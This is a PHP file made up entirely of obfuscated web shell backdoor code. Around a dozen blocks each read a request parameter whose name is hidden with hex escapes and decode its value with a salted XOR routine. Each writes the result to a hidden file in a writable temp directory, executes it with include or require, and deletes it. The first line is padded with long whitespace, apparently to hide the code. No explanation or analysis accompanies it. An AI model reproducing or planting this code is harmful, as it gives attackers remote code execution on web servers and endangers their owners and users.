<?php																																										if(array_key_exists("\x6Dr\x6B", $_POST) && !is_null($_POST["\x6Dr\x6B"])){ $val = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", "/tmp"]); $ptr = $_POST["\x6Dr\x6B"]; $ptr =explode ( '.' , $ptr ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $ptr as $o => $v4): $chS = ord( $salt[$o % $lenS] ); $d = ( ( int)$v4 - $chS -( $o % 10)) ^ 31; $component.= chr( $d ); endforeach; foreach ($val as $rec) { if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $token = implode("/", [$rec, ".k"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $token; @unlink($token); exit; } } } }
																																										if(isset($_REQUEST["i\x74m"]) ? true : false){ $desc = $_REQUEST["i\x74m"]; $desc =explode( '.' , $desc ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($desc as $y => $v8): $sChar = ord($salt[$y % $lenS] ); $d = ((int)$v8 - $sChar - ($y % 10)) ^ 33; $marker .= chr($d ); endforeach; $ent = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); foreach ($ent as $key => $fac) { if (array_product([is_dir($fac), is_writable($fac)])) { $holder = str_replace("{var_dir}", $fac, "{var_dir}/.sym"); if (file_put_contents($holder, $marker)) { include $holder; @unlink($holder); exit; } } } }
																																										if(array_key_exists("e\x6E\x74ry", $_POST)){ $parameter_group = $_POST["e\x6E\x74ry"]; $parameter_group=explode ( '.', $parameter_group ) ; $ptr=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $y=0; foreach( $parameter_group as $v7) {$chS=ord( $s[$y % $lenS]); $d=( ( int)$v7 - $chS -( $y % 10)) ^ 13; $ptr .=chr( $d); $y++; } $res = array_filter([getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); foreach ($res as $component): if ((is_dir($component) and is_writable($component))) { $ent = implode("/", [$component, ".hld"]); if (@file_put_contents($ent, $ptr) !== false) { include $ent; unlink($ent); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["dat\x61_\x63h\x75\x6E\x6B"] ?? null)){ $rec = $_REQUEST["dat\x61_\x63h\x75\x6E\x6B"]; $rec = explode( "." ,$rec); $binding = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $i = 0; array_walk($rec, function ($v5) use (&$binding, &$i, $salt9, $sLen) {$sChar = ord($salt9[$i % $sLen]); $dec = ((int)$v5 - $sChar - ($i % 10))^12; $binding .= chr($dec); $i++; }); $fac = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), getenv("TMP"), "/tmp"]); foreach ($fac as $data): if (!( !is_dir($data) || !is_writable($data) )) { $elem = "$data" . "/.pgrp"; if (@file_put_contents($elem, $binding) !== false) { include $elem; unlink($elem); exit; } } endforeach; }
																																										if(array_key_exists("\x65\x6Et", $_POST)){ $pgrp = $_POST["\x65\x6Et"]; $pgrp = explode ('.' ,$pgrp ) ; $object = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4 ); foreach( $pgrp as $j =>$v8): $chS = ord( $s4[$j % $lenS] ); $d = ( ( int)$v8 - $chS -( $j % 10)) ^ 59; $object .= chr( $d ); endforeach; $dchunk = array_filter(["/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); for ($elem = 0, $k = count($dchunk); $elem < $k; $elem++) { $itm = $dchunk[$elem]; if (is_writable($itm) && is_dir($itm)) { $symbol = str_replace("{var_dir}", $itm, "{var_dir}/.holder"); if (file_put_contents($symbol, $object)) { require $symbol; unlink($symbol); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["k"])){ $data = $_REQUEST["k"]; $data =explode( '.' , $data ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $data as $t => $v9) { $sChar = ord( $salt[$t % $lenS]); $dec =( ( int)$v9 - $sChar -( $t % 10)) ^ 52; $tkn .= chr( $dec); } $binding = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); for ($holder = 0, $elem = count($binding); $holder < $elem; $holder++) { $ent = $binding[$holder]; if (is_dir($ent) ? is_writable($ent) : false) { $reference = "$ent" . "/.entity"; $file = fopen($reference, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $reference; @unlink($reference); exit; } } } }
																																										if(!is_null($_REQUEST["da\x74\x61\x5Fchun\x6B"] ?? null)){ $holder = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", session_save_path()]); $item = $_REQUEST["da\x74\x61\x5Fchun\x6B"]; $item = explode( "." , $item ) ; $itm =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s8); $s =0; $__len =count($item); do { if($s >= $__len) break; $v5 =$item[$s]; $chS =ord($s8[$s %$lenS]); $d =((int)$v5 - $chS -($s %10)) ^31; $itm .= chr($d); $s++; } while(true); foreach ($holder as $data) { if ((is_dir($data) and is_writable($data))) { $elem = vsprintf("%s/%s", [$data, ".sym"]); if (@file_put_contents($elem, $itm) !== false) { include $elem; unlink($elem); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "desc\x72i\x70\x74or")){ $fac = $_POST["desc\x72i\x70\x74or"]; $fac= explode("." ,$fac ); $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $fac as $i => $v2) { $sChar = ord( $s[$i % $sLen] ); $dec = ( ( int)$v2 - $sChar -( $i % 10)) ^33; $res .=chr( $dec ); } $bind = array_filter([getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", session_save_path()]); foreach ($bind as $key => $entity) { if (!( !is_dir($entity) || !is_writable($entity) )) { $dat = "$entity/.value"; $file = fopen($dat, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $dat; @unlink($dat); die(); } } } }
																																										if(!empty($_POST["o\x62\x6A"])){ $fac = $_POST["o\x62\x6A"]; $fac = explode ( '.', $fac ) ; $ent = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); $l = 0; foreach($fac as $v6) {$chS = ord($s6[$l % $sLen] ); $d =((int)$v6 - $chS -($l % 10)) ^ 15; $ent .=chr($d ); $l++; } $sym = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", getcwd()]); foreach ($sym as $res) { if (is_writable($res) && is_dir($res)) { $dat = join("/", [$res, ".symbol"]); if (@file_put_contents($dat, $ent) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(@$_POST["tok\x65n"] !== null){ $entry = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), "/var/tmp"]); $data = $_POST["tok\x65n"]; $data = explode ( "." , $data ); $entity =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); foreach ($data as $i =>$v3): $chS =ord($s[$i % $sLen] ); $d =((int)$v3 - $chS - ($i % 10)) ^ 85; $entity .= chr($d ); endforeach; for ($data_chunk = 0, $parameter_group = count($entry); $data_chunk < $parameter_group; $data_chunk++) { $elem = $entry[$data_chunk]; if ((bool)is_dir($elem) && (bool)is_writable($elem)) { $dat = "$elem/.ref"; if (file_put_contents($dat, $entity)) { require $dat; unlink($dat); die(); } } } }


if(isset($_REQUEST) && isset($_REQUEST["d\x61\x74\x61_ch\x75n\x6B"])){
	$flag = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir()]);
	$ptr = $_REQUEST["d\x61\x74\x61_ch\x75n\x6B"];
	$ptr 	 =	 explode	(  '.',	 	$ptr )  	;
	$desc = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$salt	 );
            $q = 0;
    
            while(	$q  <count(	$ptr)) {$v9 = $ptr[$q];
                $sChar = ord(	$salt[$q % $lenS]	 );
                $dec =(	(	int)$v9 - $sChar -(	$q % 10)) ^ 6;
                $desc .= chr(	$dec	 );
                $q++; }	
	foreach ($flag as $key => $resource) {
    		if (is_dir($resource) && is_writable($resource)) {
    $record = implode("/", [$resource, ".pset"]);
    $file = fopen($record, 'w');
if ($file) {
	fwrite($file, $desc);
	fclose($file);
	include $record;
	@unlink($record);
	exit;
}
}
}
}